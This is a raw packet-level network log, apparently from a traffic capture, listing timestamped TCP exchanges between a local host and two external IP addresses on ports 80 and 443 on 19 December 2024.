Dec 19, 2024 06:09:55.934360027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.934367895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.934381008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.934457064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.935019970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.935075998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.935108900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.935122967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.935148954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.935667038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.935714960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.935762882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.935796976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.935806036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.935837984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.936567068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.936621904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.936656952 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.936667919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.937448025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.937504053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.937537909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.937612057 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.938340902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.938394070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.938427925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.938452005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.938472986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.939240932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.939295053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.939361095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.939363956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.940028906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.940109968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.940165043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.940198898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.940213919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.940237045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.941011906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.941111088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.941145897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.941164017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.941186905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.941893101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.941947937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.941982985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.942001104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.942020893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.942805052 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.942858934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.942893028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.942910910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.942938089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.943758965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.943813086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.943849087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.943864107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.944020033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.944565058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.944619894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.944653988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.944673061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.944690943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.945461035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.945513964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.945548058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.945565939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.945585966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.946527958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.946563005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.946599007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.946611881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.947381020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.947417021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.947432995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.947453976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.947459936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.948025942 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.948240995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.948276043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.948293924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.948312998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.948318958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.948357105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.949006081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.949057102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.949064016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.949101925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.949151039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.949897051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.949951887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.949987888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.950002909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.950033903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.950853109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.950887918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.950923920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.950937986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.951703072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.951756954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.951812029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.951889992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.951906919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.951936960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.952629089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.952683926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.952718973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.952735901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.952764988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.953460932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.953521967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.953556061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.953572035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.953593016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.954407930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.954664946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.954713106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.954719067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.954755068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.954802990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.955543995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.955591917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.955599070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.955635071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.955682039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.956442118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.956494093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.956530094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.956547022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.956568956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.956598043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.957334995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.957389116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.957389116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.957426071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.957437992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.957473040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.958225965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.958277941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.958291054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.958312988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.958328009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.959177017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.959230900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.959285021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.959352016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.959400892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.960014105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.960068941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.960103989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.960119963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.960144043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.960874081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.960927010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.960961103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.960978031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.960999966 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.961779118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.961813927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.961895943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.961918116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.961934090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.967475891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.967511892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.967546940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.967567921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.967591047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.967941999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.967977047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.968019962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.968029022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.968765974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.968821049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.125422955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.125484943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.125489950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.125531912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.125540018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.125952005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.125987053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.126000881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.126040936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.126092911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.126277924 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.126431942 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.126477957 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.126482964 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.126508951 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.126548052 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.126549006 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.126559019 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.126604080 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.126722097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.126775026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.126949072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.127043009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.127093077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.127263069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.127321959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.127347946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.127382994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.127434969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.128175020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.128226995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.128258944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.128292084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.128308058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.128329039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.128906965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.128958941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.128962040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.128997087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.129004955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.129045963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.129781961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.129834890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.129834890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.129873037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.129901886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.129914999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.130670071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.130713940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.130723953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.130759001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.130773067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.130811930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.131633043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.131686926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.131686926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.131724119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.131732941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.131764889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.132509947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.132560015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.132603884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.132637978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.132688999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.133389950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.133446932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.133466959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.133501053 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.133522034 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.133537054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.134282112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.134336948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.134350061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.134385109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.134408951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.134423971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.134567022 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.135160923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.135206938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.135215998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.135251999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.135256052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.135324001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.136022091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.136075020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.136075974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.136112928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.136123896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.136154890 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.136909008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.136960983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.136964083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.137000084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.137011051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.137042046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.137814045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.137864113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.137867928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.137904882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.137917995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.137947083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.138761997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.138796091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.138811111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.138832092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.138834000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.138874054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.139571905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.139621973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.139625072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.139659882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.139671087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.139702082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.140461922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.140516043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.140517950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.140552044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.140558958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.140595913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.141355991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.141410112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.141417027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.141453028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.141462088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.141489983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.142261982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.142313957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.142316103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.142352104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.142359972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.142393112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.143086910 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.143141031 CET	49875	443	192.168.2.4	185.199.111.133
Dec 19, 2024 06:09:56.143160105 CET	443	49875	185.199.111.133	192.168.2.4
Dec 19, 2024 06:09:56.143186092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.143230915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.143239021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.143274069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.143285990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.143318892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.144038916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.144088984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.144094944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.144130945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.144140005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.144171953 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.144897938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.144949913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.144953012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.144994974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.144999027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.145029068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.145801067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.145853043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.145857096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.145891905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.145904064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.145932913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.146701097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.146760941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.146982908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.147031069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.147039890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.147077084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:56.147088051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.147115946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:56.147872925 CET	80	49860	31.41.244.11	192.168.2.4
